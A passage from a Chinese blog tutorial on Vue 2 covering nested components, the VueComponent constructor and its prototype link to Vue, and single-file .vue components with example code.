<h3 id="18-5-组件的嵌套"><a href="#18-5-组件的嵌套" class="headerlink" title="18.5 组件的嵌套"></a>18.5 组件的嵌套</h3><p>可以在一个组件中嵌套其他的组件，使嵌套的组件成为该组件的子组件，子组件的注册和使用都是在父组件中的。</p>
<p>因此我们就可以尝试嵌套以下组件。</p>
<p>首先定义组件，school 组件中包含了 student 组件，hello 组件和 school 组件平级，app 组件包含了school 组件和 hello 组件，vm 只管理 app 组件。</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="handlebars"><span class="xml"></span></span><br><span class="xml"><span class="handlebars">    // 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="xml"><span class="handlebars">    Vue.config.productionTip = false;</span></span><br><span class="xml"><span class="handlebars"></span></span><br><span class="xml"><span class="handlebars">    // 定义 student 组件</span></span><br><span class="xml"><span class="handlebars">    const student = Vue.extend(&#123;</span></span><br><span class="xml"><span class="handlebars">        template: `</span></span><br><span class="xml"><span class="handlebars">          <span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span></span></span><br><span class="xml"><span class="handlebars">              <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>学生姓名：</span><span class="hljs-template-variable">&#123;&#123;<span class="hljs-name">studentName</span>&#125;&#125;</span><span class="xml"><span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span></span></span><br><span class="xml"><span class="handlebars">              <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>学生年龄：</span><span class="hljs-template-variable">&#123;&#123;<span class="hljs-name">studentAge</span>&#125;&#125;</span><span class="xml"><span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span></span></span><br><span class="xml"><span class="handlebars">          <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>`,</span></span><br><span class="xml"><span class="handlebars">        data() &#123;</span></span><br><span class="xml"><span class="handlebars">            return &#123;</span></span><br><span class="xml"><span class="handlebars">                studentName: &quot;张三&quot;,</span></span><br><span class="xml"><span class="handlebars">                studentAge: 20</span></span><br><span class="xml"><span class="handlebars">            &#125;</span></span><br><span class="xml"><span class="handlebars">        &#125;</span></span><br><span class="xml"><span class="handlebars">    &#125;)</span></span><br><span class="xml"><span class="handlebars"></span></span><br><span class="xml"><span class="handlebars">    // 定义 school 组件，并嵌套 school 组件</span></span><br><span class="xml"><span class="handlebars">    const school = Vue.extend(&#123;</span></span><br><span class="xml"><span class="handlebars">        template: `</span></span><br><span class="xml"><span class="handlebars">          <span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span></span></span><br><span class="xml"><span class="handlebars">              <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>学校名称：</span><span class="hljs-template-variable">&#123;&#123;<span class="hljs-name">schoolName</span>&#125;&#125;</span><span class="xml"><span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span></span></span><br><span class="xml"><span class="handlebars">              <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>学校地址：</span><span class="hljs-template-variable">&#123;&#123;<span class="hljs-name">schoolAddress</span>&#125;&#125;</span><span class="xml"><span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span></span></span><br><span class="xml"><span class="handlebars">              <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">&quot;showSchoolName&quot;</span>&gt;</span>点我提示学校名<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span></span></span><br><span class="xml"><span class="handlebars">              <span class="hljs-tag">&lt;<span class="hljs-name">student</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">student</span>&gt;</span></span></span><br><span class="xml"><span class="handlebars">          <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>`,</span></span><br><span class="xml"><span class="handlebars">        data() &#123;</span></span><br><span class="xml"><span class="handlebars">            return &#123;</span></span><br><span class="xml"><span class="handlebars">                schoolName: &quot;尚硅谷&quot;,</span></span><br><span class="xml"><span class="handlebars">                schoolAddress: &quot;北京&quot;</span></span><br><span class="xml"><span class="handlebars">            &#125;</span></span><br><span class="xml"><span class="handlebars">        &#125;,</span></span><br><span class="xml"><span class="handlebars">        methods: &#123;</span></span><br><span class="xml"><span class="handlebars">            showSchoolName() &#123;</span></span><br><span class="xml"><span class="handlebars">                alert(this.schoolName);</span></span><br><span class="xml"><span class="handlebars">            &#125;</span></span><br><span class="xml"><span class="handlebars">        &#125;,</span></span><br><span class="xml"><span class="handlebars">        components: &#123;</span></span><br><span class="xml"><span class="handlebars">            student</span></span><br><span class="xml"><span class="handlebars">        &#125;</span></span><br><span class="xml"><span class="handlebars">    &#125;)</span></span><br><span class="xml"><span class="handlebars"></span></span><br><span class="xml"><span class="handlebars">    // 定义 hello 组件</span></span><br><span class="xml"><span class="handlebars">    const hello = Vue.extend(&#123;</span></span><br><span class="xml"><span class="handlebars">        template:`</span></span><br><span class="xml"><span class="handlebars">            <span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span></span></span><br><span class="xml"><span class="handlebars">               <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>你好啊！</span><span class="hljs-template-variable">&#123;&#123;<span class="hljs-name">name</span>&#125;&#125;</span><span class="xml"><span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span></span></span><br><span class="xml"><span class="handlebars">            <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span></span></span><br><span class="xml"><span class="handlebars">         `,</span></span><br><span class="xml"><span class="handlebars">        data()&#123;</span></span><br><span class="xml"><span class="handlebars">            return &#123;</span></span><br><span class="xml"><span class="handlebars">                name:&#x27;Tom&#x27;</span></span><br><span class="xml"><span class="handlebars">            &#125;</span></span><br><span class="xml"><span class="handlebars">        &#125;</span></span><br><span class="xml"><span class="handlebars">    &#125;)</span></span><br><span class="xml"><span class="handlebars"></span></span><br><span class="xml"><span class="handlebars">    // 定义 app 组件，嵌套所有组件</span></span><br><span class="xml"><span class="handlebars">    const app = Vue.extend(&#123;</span></span><br><span class="xml"><span class="handlebars">        template: `</span></span><br><span class="xml"><span class="handlebars">            <span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span></span></span><br><span class="xml"><span class="handlebars">                <span class="hljs-tag">&lt;<span class="hljs-name">school</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">school</span>&gt;</span></span></span><br><span class="xml"><span class="handlebars">                <span class="hljs-tag">&lt;<span class="hljs-name">hello</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">hello</span>&gt;</span></span></span><br><span class="xml"><span class="handlebars">            <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>`,</span></span><br><span class="xml"><span class="handlebars">        components: &#123;</span></span><br><span class="xml"><span class="handlebars">            school,</span></span><br><span class="xml"><span class="handlebars">            hello</span></span><br><span class="xml"><span class="handlebars">        &#125;</span></span><br><span class="xml"><span class="handlebars">    &#125;)</span></span><br><span class="xml"><span class="handlebars"></span></span><br><span class="xml"><span class="handlebars"></span></span><br><span class="xml"><span class="handlebars"></span></span><br><span class="xml"><span class="handlebars">    // 创建 Vue 实例</span></span><br><span class="xml"><span class="handlebars">    new Vue(&#123;</span></span><br><span class="xml"><span class="handlebars">        template: `<span class="hljs-tag">&lt;<span class="hljs-name">app</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">app</span>&gt;</span>`,</span></span><br><span class="xml"><span class="handlebars">        el: &#x27;#root&#x27;,</span></span><br><span class="xml"><span class="handlebars">        components: &#123;</span></span><br><span class="xml"><span class="handlebars">            app</span></span><br><span class="xml"><span class="handlebars">        &#125;</span></span><br><span class="xml"><span class="handlebars">    &#125;);</span></span><br><span class="xml"><span class="handlebars"></span></span><br><span class="xml"><span class="handlebars"></span></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br></code></pre></td></tr></table></figure>

<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-comment">&lt;!-- 准备好一个容器 --&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    <br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210803/image.2fx8mx6oocbo.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<h3 id="18-6-VueComponent"><a href="#18-6-VueComponent" class="headerlink" title="18.6 VueComponent"></a>18.6 VueComponent</h3><p>定义一个 student 组件并将其注册到 vm 中</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="handlebars"><span class="xml"></span></span><br><span class="xml"><span class="handlebars">    // 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="xml"><span class="handlebars">    Vue.config.productionTip = false;</span></span><br><span class="xml"><span class="handlebars"></span></span><br><span class="xml"><span class="handlebars">    const student = Vue.extend(&#123;</span></span><br><span class="xml"><span class="handlebars">        template: `</span></span><br><span class="xml"><span class="handlebars">          <span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span></span></span><br><span class="xml"><span class="handlebars">              <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>学生姓名：</span><span class="hljs-template-variable">&#123;&#123;<span class="hljs-name">studentName</span>&#125;&#125;</span><span class="xml"><span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span></span></span><br><span class="xml"><span class="handlebars">              <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>学生年龄：</span><span class="hljs-template-variable">&#123;&#123;<span class="hljs-name">studentAge</span>&#125;&#125;</span><span class="xml"><span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span></span></span><br><span class="xml"><span class="handlebars">          <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>`,</span></span><br><span class="xml"><span class="handlebars">        data() &#123;</span></span><br><span class="xml"><span class="handlebars">            return &#123;</span></span><br><span class="xml"><span class="handlebars">                studentName: &quot;张三&quot;,</span></span><br><span class="xml"><span class="handlebars">                studentAge: 20</span></span><br><span class="xml"><span class="handlebars">            &#125;</span></span><br><span class="xml"><span class="handlebars">        &#125;</span></span><br><span class="xml"><span class="handlebars">    &#125;)</span></span><br><span class="xml"><span class="handlebars"></span></span><br><span class="xml"><span class="handlebars">    // 创建 Vue 实例</span></span><br><span class="xml"><span class="handlebars">    new Vue(&#123;</span></span><br><span class="xml"><span class="handlebars">        el: &#x27;#root&#x27;,</span></span><br><span class="xml"><span class="handlebars">        components: &#123;</span></span><br><span class="xml"><span class="handlebars">            student</span></span><br><span class="xml"><span class="handlebars">        &#125;</span></span><br><span class="xml"><span class="handlebars">    &#125;);</span></span><br><span class="xml"><span class="handlebars"></span></span><br><span class="xml"><span class="handlebars"></span></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p>观察 studnet</p>
<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210803/image.3snv9j1mqsw0.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<p>student 组件本质是一个名为 <code>VueComponent</code> 的构造函数，且不是程序员定义的，是 <code>Vue.extend</code> 生成的。</p>
<p>每当我们使用组件时，Vue 解析时都会帮我们创建对应组件的实例对象，即 Vue 帮我们执行的：<code>new VueComponent(options)</code>。</p>
<p>关于 this 指向：</p>
<ol>
<li>组件配置中：data 函数、methods 中的函数、watch 中的函数、computed 中的函数，它们的 this 均是【<code>VueComponent 实例对象</code>】（简称组件实例对象 vc）。</li>
<li>new Vue(options) 配置中：data 函数、methods 中的函数、watch 中的函数、computed 中的函数 它们的this均是【<code>Vue 实例对象</code>】（简称实例对象 vm）。</li>
</ol>
<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210803/image.1z49z2ucjlsw.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<h3 id="18-7-一个重要的内置关系"><a href="#18-7-一个重要的内置关系" class="headerlink" title="18.7 一个重要的内置关系"></a>18.7 一个重要的内置关系</h3><p>==一个重要的内置关系：VueComponent.prototype._<em>proto</em>_ === Vue.prototype==</p>
<p><a target="_blank" rel="noopener" href="https://www.bilibili.com/video/BV1Zy4y1K7SH?p=59">视频讲解</a></p>
<p>![分析 Vue 和 VueComponent 的关系](<a target="_blank" rel="noopener" href="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210803/%E5%88%86%E6%9E%90">https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210803/分析</a> Vue 和 VueComponent 的关系.5ieebrj23ps0.png)</p>
<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210803/image.56wcug7lov00.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<p>==为什么要有这个关系：让组件实例对象（vc）可以访问到 Vue 原型上的属性、方法。==</p>
<p>新建一个组件</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">const</span> student = Vue.extend(&#123;<br>    <span class="hljs-attr">template</span>: <span class="hljs-string">`</span><br><span class="hljs-string">        &lt;div&gt;</span><br><span class="hljs-string">        &lt;h2&gt;学生姓名：&#123;&#123;studentName&#125;&#125;&lt;/h2&gt;</span><br><span class="hljs-string">        &lt;h2&gt;学生年龄：&#123;&#123;studentAge&#125;&#125;&lt;/h2&gt;</span><br><span class="hljs-string">        &lt;button @click=&quot;showx&quot;&gt;展示数据 x&lt;/button&gt;</span><br><span class="hljs-string">        &lt;/div&gt;`</span>,<br>    <span class="hljs-function"><span class="hljs-title">data</span>(<span class="hljs-params"></span>)</span> &#123;<br>        <span class="hljs-keyword">return</span> &#123;<br>            <span class="hljs-attr">studentName</span>: <span class="hljs-string">&quot;张三&quot;</span>,<br>            <span class="hljs-attr">studentAge</span>: <span class="hljs-number">20</span><br>        &#125;<br>    &#125;,<br>    <span class="hljs-attr">methods</span>: &#123;<br>        <span class="hljs-function"><span class="hljs-title">showx</span>(<span class="hljs-params"></span>)</span> &#123;<br>            <span class="hljs-built_in">console</span>.log(<span class="hljs-string">&quot;获取数据 x&quot;</span>, <span class="hljs-built_in">this</span>.x)<br>        &#125;<br>    &#125;<br>&#125;)<br></code></pre></td></tr></table></figure>

<p>创建 Vue 实例</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">new</span> Vue(&#123;<br>    <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,<br>    <span class="hljs-attr">components</span>: &#123;student&#125;<br>&#125;);<br></code></pre></td></tr></table></figure>

<p>使用组件</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-comment">&lt;!-- 准备好一个容器 --&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">student</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">student</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p>先给 Vue 的原型对象添加一个 x 属性，然后点击按钮，观察 studnet 组件能否获取 x 数据</p>
<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210803/image.3g8ub2z20pk0.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<h2 id="19-单文件组件"><a href="#19-单文件组件" class="headerlink" title="19.单文件组件"></a>19.单文件组件</h2><p>创建组件 School.vue</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><code class="hljs vue">&lt;template&gt;<br>  &lt;!-- 组件的结构 --&gt;<br>  &lt;div class=&quot;demo&quot;&gt;<br>    &lt;h2&gt;学校名称：&#123;&#123;name&#125;&#125;&lt;/h2&gt;<br>    &lt;h2&gt;学校地址：&#123;&#123;address&#125;&#125;&lt;/h2&gt;<br>    &lt;button @click=&quot;showSchoolName&quot;&gt;点我提示学校名&lt;/button&gt;<br>  &lt;/div&gt;<br>&lt;/template&gt;<br><br>&lt;script&gt;<br>  // 组件的交互相关的代码<br>  export default &#123;<br>    name: &quot;School&quot;,<br>    data() &#123;<br>      return &#123;<br>        name: &quot;尚硅谷&quot;,<br>        address: &quot;北京&quot;<br>      &#125;<br>    &#125;,<br>    methods: &#123;<br>      showSchoolName() &#123;<br>        alert(this.name);<br>      &#125;<br>    &#125;<br>  &#125;<br>&lt;/script&gt;<br><br>&lt;style&gt;<br>  /*组件的样式*/<br>  .demo &#123;<br>    background: orange;<br>  &#125;<br>&lt;/style&gt;<br></code></pre></td></tr></table></figure>

<p>创建组件 Student.vue</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs vue">&lt;template&gt;<br>  &lt;div&gt;<br>    &lt;h2&gt;学生姓名：&#123;&#123;name&#125;&#125;&lt;/h2&gt;<br>    &lt;h2&gt;学生年龄：&#123;&#123;age&#125;&#125;&lt;/h2&gt;<br>  &lt;/div&gt;<br>&lt;/template&gt;<br><br>&lt;script&gt;<br>  export default &#123;<br>    name: &quot;Student&quot;,<br>    data() &#123;<br>      return &#123;<br>        name: &quot;张三&quot;,<br>        age: 20<br>      &#125;<br>    &#125;<br>  &#125;<br>&lt;/script&gt;<br></code></pre></td></tr></table></figure>

<p>创建组件 App.vue，管理全部组件</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><code class="hljs vue">&lt;template&gt;<br>  &lt;div&gt;<br>    &lt;!-- 使用组件 --&gt;  <br>    &lt;School&gt;&lt;/School&gt;<br>    &lt;Student&gt;&lt;/Student&gt;<br>  &lt;/div&gt;<br>&lt;/template&gt;<br><br>&lt;script&gt;<br>  // 导入组件<br>  import School from &quot;School&quot;;<br>  import Student from &quot;Student&quot;;<br><br>  export default &#123;<br>    name: &quot;App&quot;,<br>    // 注册组件<br>    components: &#123;<br>      School,<br>      Student<br>    &#125;<br>  &#125;<br>&lt;/script&gt;<br><br>&lt;style scoped&gt;<br><br>&lt;/style&gt;<br></code></pre></td></tr></table></figure>

<p>创建 Vue 实例对象 main.js</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">import</span> App <span class="hljs-keyword">from</span> <span class="hljs-string">&quot;App&quot;</span>;<br><br><span class="hljs-keyword">new</span> Vue(&#123;<br>    <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,<br>    <span class="hljs-attr">template</span>: <span class="hljs-string">`&lt;App&gt;&lt;/App&gt;`</span>,<br>    <span class="hljs-attr">components</span>: &#123;App&#125;<br>&#125;)<br></code></pre></td></tr></table></figure>

<p>页面显示 index.html</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">html</span> <span class="hljs-attr">lang</span>=<span class="hljs-string">&quot;en&quot;</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">&quot;UTF-8&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>练习以下单文件组件的语法<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 引入 Vue --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span> <span class="hljs-attr">src</span>=<span class="hljs-string">&quot;../js/vue.js&quot;</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span> <span class="hljs-attr">src</span>=<span class="hljs-string">&quot;main.js&quot;</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p>运行 index.html，但发现页面什么都没有，还有报错</p>
<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210803/image.4dts6oaxthk0.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<p>主要原因就是浏览器不能直接支持 ES6 的模块化语法，同时 .vue 文件也不能直接运行。</p>
<p>因此如果想要运行，就得在 Vue 提供的==脚手架==中运行。</p>
<p>之后我们就要开始脚手架开发的学习了。</p>

            </div>
            <hr>
            <div>
              <div class="post-metas mb-3">
                
                  <div class="post-meta mr-3">
                    <i class="iconfont icon-category"></i>
                    
                      <a class="hover-with-bg" href="/categories/%E5%89%8D%E7%AB%AF/">前端</a>
                    
                      <a class="hover-with-bg" href="/categories/%E5%89%8D%E7%AB%AF/Vue/">Vue</a>
                    
                  </div>
                
                
                  <div class="post-meta">
                    <i class="iconfont icon-tags"></i>
                    
                      <a class="hover-with-bg" href="/tags/%E5%89%8D%E7%AB%AF%E6%A1%86%E6%9E%B6/">前端框架</a>
                    
                      <a class="hover-with-bg" href="/tags/Vue/">Vue</a>
                    
                  </div>
                
              </div>
              
                <p class="note note-warning">
                  
                    本博客所有文章除特别声明外，均采用 <a target="_blank" href="https://creativecommons.org/licenses/by-sa/4.0/deed.zh" rel="nofollow noopener noopener">CC BY-SA 4.0 协议</a> ，转载请注明出处！
                  
                </p>
              
              
                <div class="post-prevnext">
                  <article class="post-prev col-6">
                    
                    
                      <a href="/2021/10/02/%E5%89%8D%E7%AB%AF-Vue-2021-10-02-Vue%E8%84%9A%E6%89%8B%E6%9E%B6/">
                        <i class="iconfont icon-arrowleft"></i>
                        <span class="hidden-mobile">Vue脚手架</span>
                        <span class="visible-mobile">上一篇</span>
                      </a>
                    
                  </article>
                  <article class="post-next col-6">
                    
                    
                      <a href="/2021/10/02/SpringBoot-SpringBoot%E7%AE%80%E5%8D%95%E4%BD%BF%E7%94%A8-2021-10-02-SpringBoot%E6%95%B4%E5%90%88MyBatis/">
                        <span class="hidden-mobile">SpringBoot整合MyBatis</span>
                        <span class="visible-mobile">下一篇</span>
                        <i class="iconfont icon-arrowright"></i>
                      </a>
                    
                  </article>
                </div>
              
            </div>

            
          </article>
        </div>
      </div>
    </div>
    
      <div class="d-none d-lg-block col-lg-2 toc-container" id="toc-ctn">
        <div id="toc">
  <p class="toc-header"><i class="iconfont icon-list"></i>&nbsp;目录</p>
  <div class="toc-body" id="toc-body"></div>
</div>

      </div>
    
  </div>
</div>

<!-- Custom -->


    

    
      <a id="scroll-top-button" href="#" role="button">
        <i class="iconfont icon-arrowup" aria-hidden="true"></i>
      </a>
    

    
      <div class="modal fade" id="modalSearch" tabindex="-1" role="dialog" aria-labelledby="ModalLabel"
     aria-hidden="true">
  <div class="modal-dialog modal-dialog-scrollable modal-lg" role="document">
    <div class="modal-content">
      <div class="modal-header text-center">
